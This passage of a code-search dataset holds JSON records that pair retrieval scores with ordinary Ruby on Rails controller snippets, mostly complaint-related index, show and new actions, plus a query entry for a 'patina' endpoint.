"docid": "766504de33a927cdcfc69a5b07268586",
"score": "0.56209755",
"text": "def index\n @competences = Competence.all\n authorize! :read, Competence\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @competences }\n end\n end",
"title": ""
},
{
"docid": "994cc79bc68c864d837cfcd35cd60342",
"score": "0.5602191",
"text": "def set_complaint\n @complaint = Complaint.friendly.find(params[:id])\n end",
"title": ""
},
{
"docid": "994cc79bc68c864d837cfcd35cd60342",
"score": "0.5602191",
"text": "def set_complaint\n @complaint = Complaint.friendly.find(params[:id])\n end",
"title": ""
},
{
"docid": "9f03cb74d576c0a2bcf9e8ddb83e6f77",
"score": "0.55891126",
"text": "def new\n @pec_complaint = PecComplaint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pec_complaint }\n end\n end",
"title": ""
},
{
"docid": "e0ae3b9ac08c01a9c09172b55e02a075",
"score": "0.55856866",
"text": "def create_complaints(data)\n # `data` should be a list of hashes, with each hash containing *at least* an `address` key.\n split_return = []\n if data.length >= 1000 then\n resp, resp_l = create_complaints data[999..-1]\n split_return.push(resp)\n split_return.concat(resp_l)\n data = data[0..998]\n elsif data.length == 0 then\n return nil, []\n end\n\n valid = []\n # Validate the complaints given\n while not data.empty? do\n complaint = data.pop\n # complaints MUST contain a `address` key.\n if not complaint.include? :address then\n raise Mailgun::ParameterError.new \"Complaint MUST include a :address key: #{complaint}\"\n end\n\n complaint.each do |k, v|\n # Hash values MUST be strings.\n if not v.is_a? String then\n complaint[k] = v.to_s\n end\n end\n\n valid.push complaint\n end\n\n response = @client.post(\"#{@domain}/complaints\", valid.to_json, { \"Content-Type\" => \"application/json\" })\n return response, split_return\n end",
"title": ""
},
{
"docid": "8d71d3ca198cce8b3b8e4a188d0a81ab",
"score": "0.557843",
"text": "def show\n @concert = Concert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @concert }\n end\n end",
"title": ""
},
{
"docid": "cf0514b019a903054a776fa0b0e7ad2c",
"score": "0.5576325",
"text": "def index\n #@complaint_users = ComplaintUser.all\n @complaint_users = ComplaintUser.where([\"user_id = ?\", params[:userid]]).order(\"created_at DESC\")\n render json: {quejas: @complaint_users.as_json(include: [:complaint])}\n end",
"title": ""
},
{
"docid": "c59ee4ace0b31a2d154012c0fa6cb02f",
"score": "0.55735534",
"text": "def index\n @conflicts = Conflict.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @conflicts }\n end\n end",
"title": ""
},
{
"docid": "e8de56a7d8dee32f2e8141f5c4151877",
"score": "0.55601186",
"text": "def show\n @core_competency = CoreCompetency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @core_competency }\n end\n end",
"title": ""
},
{
"docid": "a213135f274ce6ebaeab0f98c93aa87a",
"score": "0.5552148",
"text": "def show\n @convenio = Convenio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @convenio }\n end\n end",
"title": ""
},
{
"docid": "f9774b9153b3f0aaad8eb29cfd427fb6",
"score": "0.5547031",
"text": "def index\n @complaint_details = ComplaintDetail.all\n end",
"title": ""
},
{
"docid": "acef93cbb9938ad790e689ce63e8cd11",
"score": "0.553028",
"text": "def index\n\n @challenges = Challenge.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @challenges }\n end\n end",
"title": ""
},
{
"docid": "9b83fd2d0a2d7ba1c4d7aa136da61b4e",
"score": "0.5522483",
"text": "def index\n @challenges = Challenge.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @challenges }\n end\n end",
"title": ""
},
{
"docid": "9b83fd2d0a2d7ba1c4d7aa136da61b4e",
"score": "0.5522483",
"text": "def index\n @challenges = Challenge.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @challenges }\n end\n end",
"title": ""
},
{
"docid": "b5a5c696826aaa89cacfb362ae2aa5c1",
"score": "0.5517329",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "b5a5c696826aaa89cacfb362ae2aa5c1",
"score": "0.5517329",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "9987a40d9f3fd3b228e893344b97a1b4",
"score": "0.5507101",
"text": "def set_complaint\r\n @complaint = Complaint.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "65b3baab37852804a1bf3f4a8ae0440e",
"score": "0.54942495",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "4b3d716b4ab769851ea9b601c9225c21",
"score": "0.5489273",
"text": "def new\n begin\n @complaint = Complaint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @complaint }\n end\n rescue\n redirect_to :root, notice: \"Nice try, but next time you have to be smarter!\"\n end \n end",
"title": ""
},
{
"docid": "23ca7dd9dcd9d63ea8c65c594f80383a",
"score": "0.5488235",
"text": "def index\n @proposals = Proposal.where(:design_status => \"proposed\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proposals }\n end\n end",
"title": ""
},
{
"docid": "057ec5023f87ee338c84b93e396d6228",
"score": "0.54809743",
"text": "def show\n @candidates_certification = CandidatesCertification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @candidates_certification }\n end\n end",
"title": ""
},
{
"docid": "ea9bc656825da449e652bfae05b76bbb",
"score": "0.54803973",
"text": "def index\n @complaints = Complaint.where( display: true)\n @all_complaints = Complaint.order(\" created_at desc\")\n end",
"title": ""
},
{
"docid": "48316c92a0c13e080f61a52b088406de",
"score": "0.5480279",
"text": "def new\n @breadcrumb = 'create'\n @complaint_class = ComplaintClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @complaint_class }\n end\n end",
"title": ""
},
{
"docid": "bcd66bd9acf379261e99377bef36a70c",
"score": "0.54754317",
"text": "def make_complaint\n\t\t@campus = Campus.find(params[:campus_id])\n \t@complaint = @campus.complaints.build(params[:complaint])\n \t@mobile_user = MobileUser.find_by_api_token(params[:api_token])\n\t\t@complaint.mobile_user_id = @mobile_user.id\n\t\t@complaint.status = \"Recibida\"\n\n\t\tif @complaint.save\n\t\t\tcampus_complaints = Complaint.where(\"campus_id = ?\",@campus.id)\n\t\t\tcomplaint_status_info = Hash.new\n\t\t\tcomplaint_status_info[\"Recibida\"] = Complaint.where(\"status = ?\",\"Recibida\").count\n\t\t\tcomplaint_status_info[\"Vista\"] = Complaint.where(\"status = ?\",\"Vista\").count\n\t\t\tcomplaint_status_info[\"Solucionada\"] = Complaint.where(\"status = ?\",\"Solucionada\").count\n\t\t\t\n\t\t\trender :json => [\n\t\t\t\t:message => \"¡Tu denuncia fue recibida!\",\n\t\t\t\t:complaint_status_info => [complaint_status_info]\n\t\t\t].to_json\n\t\telse\n\t\t\trender :json => [{:message => \"Lo sentimos tu denuncia no pudo ser guardada\"}]\n\t\tend\n\tend",
"title": ""
},
{
"docid": "7404b02f3259ccaf32890123950039df",
"score": "0.5473005",
"text": "def new\n @dec_complaint = DecComplaint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dec_complaint }\n end\n end",
"title": ""
},
{
"docid": "2d99702040e3e3e83586e97d9463f73d",
"score": "0.5469713",
"text": "def index\n begin\n @complaints = Complaint.where(supplier_id: current_supplier.id, deleted: false).paginate(:per_page => 10,:page => params[:page]) \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @complaints }\n end\n rescue\n redirect_to :root, notice: \"Nice try, but next time you have to be smarter!\"\n end \n end",
"title": ""
},
{
"docid": "e8e62036a8bed31a0dc0d9614e9ee9da",
"score": "0.5469443",
"text": "def index\n @comps = Comp.all\n\n render json: @comps\n end",
"title": ""
},
{
"docid": "76b13e8cedec3a32ab7fc5e61c881833",
"score": "0.546894",
"text": "def new\n @complaint = Complaint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @complaint }\n end\n end",
"title": ""
},
{
"docid": "965d32da447f387b076fbb188d278109",
"score": "0.54664326",
"text": "def index\n @compositions = @mint_coin.compositions\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @compositions }\n end\n end",
"title": ""
},
{
"docid": "10aa2c4e5aab933240d391901473a333",
"score": "0.5457415",
"text": "def index\n @core_competencies = CoreCompetency.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @core_competencies }\n end\n end",
"title": ""
},
{
"docid": "84298e43a63b36e57a0952249ecc62cd",
"score": "0.54497206",
"text": "def set_complaint\n @complaint = Complaint.find(params[:id])\n end",
"title": ""
},
{
"docid": "79b1cb86f8a1d113fafec60aee785051",
"score": "0.54453623",
"text": "def index\n @code_problems = current_user.code_problems\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @code_problems }\n end\n end",
"title": ""
},
{
"docid": "be359958e1df609b2cbc2a85bc0edf22",
"score": "0.5441626",
"text": "def new\n @breadcrumb = 'create'\n @complaint_status = ComplaintStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @complaint_status }\n end\n end",
"title": ""
},
{
"docid": "b9c70a598c9b56e868ba394150136c0b",
"score": "0.54374784",
"text": "def create\n @complaint = Complaint.new(params[:complaint])\n \n respond_to do |format|\n if @complaint.save\n format.html { redirect_to @complaint, notice: 'Complaint was successfully created.' }\n format.json { render json: @complaint, status: :created, location: @complaint }\n else\n format.html { render action: \"new\" }\n format.json { render json: @complaint.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a805fd7c38e35f4dfdcd4879b1f99bc",
"score": "0.54322827",
"text": "def show\n @complaint = Complaint.find(params[:id], :include => :coupon)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @complaint.to_json }\n end\n end",
"title": ""
},
{
"docid": "5dfb220dc140e334de5a37463654a044",
"score": "0.5431054",
"text": "def new\n @complaint_type = ComplaintType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @complaint_type }\n end\n end",
"title": ""
},
{
"docid": "5bd1f19e8477f9d8df4ef26618cc9e69",
"score": "0.5428515",
"text": "def complaints(id, params={})\n params[:groupby] = params.delete(:group_by) if params[:group_by]\n get(\"#{domain}/campaigns/#{id}/complaints\", params)\n end",
"title": ""
}
] |
78a0be2bb96a7f9149360a2cb10da7e4 | GET /patina GET /patina.json | [
{
"docid": "9d5380bfd9f7e4f254f97bbebc74fd5f",
"score": "0.7253157",
"text": "def patina\n sectors = Sector.where(user: current_user).load\n subsectors = Subsector.where(sector_id: sectors.map(&:id)).group_by(&:sector_id)\n activities = Activity.where(subsector_id: subsectors.values.flatten.map(&:id)).group_by(&:subsector_id)\n\n @json_locals = { sectors: sectors, subsectors: subsectors, activities: activities }\n\n respond_to do |format|\n format.html { render 'patina' }\n format.json { render partial: 'patina', locals: @json_locals, status: :ok }\n end\n end",
"title": ""
}
] | [
{
"docid": "dfb72f8d35b995f26b9db63e681ced73",
"score": "0.689803",
"text": "def show\n @patrocinio = Patrocinio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patrocinio }\n end\n end",
"title": ""
},
{
"docid": "f27fc4adf9236228504b1eedbd122c42",
"score": "0.6855259",
"text": "def index\n @patrocinios = Patrocinio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @patrocinios }\n end\n end",
"title": ""
},
{
"docid": "7e7dec13d0dc9d1e48b44a31970c35e7",
"score": "0.6515881",
"text": "def show\n @patent = Patent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patent }\n end\n end",
"title": ""
},
{
"docid": "b7e2ec7429f5d7beb9993821966efc92",
"score": "0.6254937",
"text": "def show\n @pat_isoform = PatIsoform.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pat_isoform }\n end\n end",
"title": ""
},
{
"docid": "19f23b7eab13609528524f59def86999",
"score": "0.62499654",
"text": "def index\n @patrimonies = Patrimony.all.paginate(page: params[:page])\n end",
"title": ""
},
{
"docid": "09a51e21661ccaa64e76f94417197c5e",
"score": "0.61403495",
"text": "def show\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cita }\n end\n end",
"title": ""
},
{
"docid": "fae087331fb93fdf53f3ed8b4db2dcf3",
"score": "0.6120697",
"text": "def show\n @repa = Repa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repa }\n end\n end",
"title": ""
},
{
"docid": "2e14985a3cc5f1ce9d13edcc7dcff4b6",
"score": "0.60977274",
"text": "def show\n @repa = Repa.find(params[:id])\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repa }\n end\n end",
"title": ""
},
{
"docid": "6f18a0872491bc53f1f4f29e0a7e95b5",
"score": "0.6096819",
"text": "def show\n @line = ReportingForms::Tanimoto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"title": ""
},
{
"docid": "0de35831f7d677c5b200daa818ca23f9",
"score": "0.6075859",
"text": "def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end",
"title": ""
},
{
"docid": "74aba8d3a1eb0229b12500f1f33a7e49",
"score": "0.6072966",
"text": "def new\n @patrocinio = Patrocinio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patrocinio }\n end\n end",
"title": ""
},
{
"docid": "600a7acfc88a249b3bb718e4bb5f1e57",
"score": "0.606433",
"text": "def show\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @persona }\n end\n end",
"title": ""
},
{
"docid": "24c80701b948aaeb4b7a73c3c5d849a1",
"score": "0.6051225",
"text": "def show\n @anuncio = Anuncio.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @anuncio }\n end\n end",
"title": ""
},
{
"docid": "ecdf3e963ea03498d9bc6ee50b52d3ed",
"score": "0.6050555",
"text": "def show\n @plannegocio = Plannegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plannegocio }\n end\n end",
"title": ""
},
{
"docid": "f0881778fe5c3c5d4b7f3e25052a7725",
"score": "0.60359555",
"text": "def show\n @apunte = Apunte.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apunte }\n end\n end",
"title": ""
},
{
"docid": "fae2e01f175320231edc15b238014ed1",
"score": "0.5998486",
"text": "def show\n @jamaat = Jamaat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jamaat }\n end\n end",
"title": ""
},
{
"docid": "5291135f96abd35109c286343cf8063e",
"score": "0.5991299",
"text": "def show\n @patrimonio = Patrimonio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @patrimonio }\n end\n end",
"title": ""
},
{
"docid": "c7fc2f45e0090f0c8c6ed1bd8b9af957",
"score": "0.59866494",
"text": "def index\n @attris = Attri.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attris }\n end\n end",
"title": ""
},
{
"docid": "b6e253138d9fe1e93f7df14e65bf7451",
"score": "0.597495",
"text": "def show\r\n @antenne = Antenne.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @antenne }\r\n end\r\n end",
"title": ""
},
{
"docid": "b43d27c182157fba492ef3a0c9843dfe",
"score": "0.5969838",
"text": "def show\n @attri = Attri.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attri }\n end\n end",
"title": ""
},
{
"docid": "f174655888fd8c9c1b55f48f7d729eaf",
"score": "0.5968022",
"text": "def show\n @vachana = Vachana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vachana }\n end\n end",
"title": ""
},
{
"docid": "f174655888fd8c9c1b55f48f7d729eaf",
"score": "0.5968022",
"text": "def show\n @vachana = Vachana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vachana }\n end\n end",
"title": ""
},
{
"docid": "a72d8922b4511c17c6f8bb7431a1a87a",
"score": "0.5966844",
"text": "def show\n @tea = Tea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tea }\n end\n end",
"title": ""
},
{
"docid": "a72d8922b4511c17c6f8bb7431a1a87a",
"score": "0.5966844",
"text": "def show\n @tea = Tea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tea }\n end\n end",
"title": ""
},
{
"docid": "0b2e4c5932c66722f1076abfc37d40f7",
"score": "0.59583104",
"text": "def show\n @paise = Paise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paise }\n end\n end",
"title": ""
},
{
"docid": "b79e0ce6ecc2a523588672b990047789",
"score": "0.59418535",
"text": "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end",
"title": ""
},
{
"docid": "deb913113ab4c0895735e53dc3d11e80",
"score": "0.59396887",
"text": "def index\n @plants = Plant.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @plants }\n end\n end",
"title": ""
},
{
"docid": "41336f408ff366d4c67109a8f07615b4",
"score": "0.5938919",
"text": "def show\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tarefa }\n end\n end",
"title": ""
},
{
"docid": "594522e909db686a148f8f5466394762",
"score": "0.59304607",
"text": "def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end",
"title": ""
},
{
"docid": "594522e909db686a148f8f5466394762",
"score": "0.59304607",
"text": "def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end",
"title": ""
},
{
"docid": "77631537650af85bcabcb86b0a7f512e",
"score": "0.5929567",
"text": "def show\n @litra = Litra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @litra }\n end\n end",
"title": ""
},
{
"docid": "3409f3d5d11d439e440339e23cb79c48",
"score": "0.5922857",
"text": "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n # format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end",
"title": ""
},
{
"docid": "f372f104952d7e8a32d03b5cbe22d310",
"score": "0.5915777",
"text": "def index\n @repas = Repa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @repas }\n end\n end",
"title": ""
},
{
"docid": "86ac0b07d19a58a7b17af21d27b65509",
"score": "0.5907511",
"text": "def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end",
"title": ""
},
{
"docid": "d1cfd7860b9401ca54f0db52b0539be8",
"score": "0.5905702",
"text": "def show\n @aroma = Aroma.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aroma }\n end\n end",
"title": ""
},
{
"docid": "ea18127dd84629e499ea4e0521b506b1",
"score": "0.59033394",
"text": "def show\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persona }\n end\n end",
"title": ""
},
{
"docid": "03bf9ba2aa2c28a318697b88c1af6a1f",
"score": "0.59007615",
"text": "def show\n @rua = Rua.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rua }\n end\n end",
"title": ""
},
{
"docid": "b823ffc70e633c0aec9ed2777588374b",
"score": "0.58953375",
"text": "def show\n @monnaie = Monnaie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monnaie }\n end\n end",
"title": ""
},
{
"docid": "f4c211145c9bdfc877aa4a849a9254d6",
"score": "0.5893563",
"text": "def show\n @pichanga = Pichanga.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @pichanga }\n end\n end",
"title": ""
},
{
"docid": "0fd3d9b87ac8f4a20150e70413d8c75f",
"score": "0.5884471",
"text": "def show\n @uniprot = Uniprot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uniprot }\n end\n end",
"title": ""
},
{
"docid": "52aa6e9430985c1e85858051dbd247e7",
"score": "0.5878626",
"text": "def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end",
"title": ""
},
{
"docid": "52aa6e9430985c1e85858051dbd247e7",
"score": "0.5878626",
"text": "def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end",
"title": ""
},
{
"docid": "117a07090a1040933493335394796af6",
"score": "0.58750993",
"text": "def info\n get '/'\n end",
"title": ""
},
{
"docid": "f313cb58ef2c7b98ee63e9ea3f2b1800",
"score": "0.58741945",
"text": "def view\n res = @client.get(path)\n @attributes = res.json if res.success?\n end",
"title": ""
},
{
"docid": "9070fd68a2dd1f7a4d58b48cfecfc4d9",
"score": "0.58732074",
"text": "def index\n render json: @fiestas\n end",
"title": ""
},
{
"docid": "e11b0b490ca263a5c3f982f82f2bcc61",
"score": "0.5869668",
"text": "def show\n @tupian = Tupian.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tupian }\n end\n end",
"title": ""
},
{
"docid": "97e0b9a7c849a3be960d56f3362119c6",
"score": "0.5853559",
"text": "def show\n @pessoa_receber = PessoaReceber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @pessoa_receber }\n end\n end",
"title": ""
},
{
"docid": "eed3a4a0c43e07cbad69072efd0d4aec",
"score": "0.58522844",
"text": "def show\n @cerveja = Cerveja.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cerveja }\n end\n end",
"title": ""
},
{
"docid": "de956c7156ce6a7ad46fb0033eaac853",
"score": "0.58515155",
"text": "def index\n @pacientes = Pacientes.all\n render json: @pacientes\n end",
"title": ""
},
{
"docid": "eb2a416e665c34efc3985bffa0c1dfb2",
"score": "0.5846921",
"text": "def show\n @asignatura = Asignatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asignatura }\n end\n end",
"title": ""
},
{
"docid": "eb2a416e665c34efc3985bffa0c1dfb2",
"score": "0.5846921",
"text": "def show\n @asignatura = Asignatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asignatura }\n end\n end",
"title": ""
},
{
"docid": "90b6d28d1edca3fe17c6db5523269497",
"score": "0.5843436",
"text": "def show\n @atracao = Atracao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @atracao }\n end\n end",
"title": ""
},
{
"docid": "5c6329692d29e3dd6225aef2e3fa78e8",
"score": "0.5842126",
"text": "def show\n @palabra = PalabraDecorator.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @palabra }\n end\n end",
"title": ""
},
{
"docid": "262e2c77e59b7b1d43ebd248ceb38bf5",
"score": "0.5826563",
"text": "def show\n @programa = Programa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @programa }\n end\n end",
"title": ""
},
{
"docid": "9a45f8cc4246f356d3116053459309cb",
"score": "0.58236057",
"text": "def show\n @presenza = Presenza.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @presenza }\n end\n end",
"title": ""
},
{
"docid": "795bdb10ccc0ba72ac9ce844efafbc6d",
"score": "0.5823293",
"text": "def index\n @anuncios = Anuncio.all\n render json: @anuncios, status: :ok\n end",
"title": ""
},
{
"docid": "a19fb2a167098b23100450d11f3da6d3",
"score": "0.5819547",
"text": "def show\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @premio }\n end\n end",
"title": ""
},
{
"docid": "d3fef52b4fd4a884b2215a0f0d3a5f1d",
"score": "0.58147013",
"text": "def show\n @psa = Psa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @psa }\n end\n end",
"title": ""
},
{
"docid": "b0ba38dea3ddf0173c8dcb24267bca8f",
"score": "0.5813685",
"text": "def index\n @protectoras = Protectora.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @protectoras }\n end\n end",
"title": ""
},
{
"docid": "235e6987fecd261c13607b4ce1fd32f0",
"score": "0.58115107",
"text": "def show\n @anuncio= set_anuncio\n render json: @anuncio, status: :ok\n end",
"title": ""
},
{
"docid": "31ea7c52a5f78ae2e542622800456788",
"score": "0.58096737",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @appeal }\n end\n end",
"title": ""
},
{
"docid": "7a84d50b3ab69df0e96cc92134c1b280",
"score": "0.5798602",
"text": "def show\n render json: @testmonial\n end",
"title": ""
},
{
"docid": "93af970c6f49e20941183355a6956bf7",
"score": "0.5791959",
"text": "def show\n @palestrante = Palestrante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @palestrante }\n end\n end",
"title": ""
},
{
"docid": "1668c8c7a843ba41f1a89f378c9a51ce",
"score": "0.57915395",
"text": "def show\n @cervejaria = Cervejaria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cervejaria }\n end\n end",
"title": ""
},
{
"docid": "adc42d83a9388a2baa99119eefe6da69",
"score": "0.57872325",
"text": "def show\n @aactio = Aactio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aactio }\n end\n end",
"title": ""
},
{
"docid": "5394a546c344f99c606442d570fea49e",
"score": "0.5783939",
"text": "def show\n @protein = Protein.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @protein }\n end\n end",
"title": ""
},
{
"docid": "87bc32350db8f0c48eb9cff58eda386f",
"score": "0.57827157",
"text": "def index\n @appeals = @conference.appeals\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @appeals }\n end\n end",
"title": ""
},
{
"docid": "6f78aa6c9f3c5b2a690359249449a109",
"score": "0.5770889",
"text": "def show\n @frais_repa = FraisRepa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @frais_repa }\n end\n end",
"title": ""
},
{
"docid": "a032229346339d28150c5f9396ceff27",
"score": "0.576694",
"text": "def show\n @natulang = Natulang.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @natulang }\n end\n end",
"title": ""
},
{
"docid": "9ea93e0fa4d293e92650b72aa3f3333f",
"score": "0.5764526",
"text": "def show\n @personaje = Personaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personaje }\n end\n end",
"title": ""
},
{
"docid": "0ed5e8a86ecc74f7254ce00e02ca5415",
"score": "0.57611364",
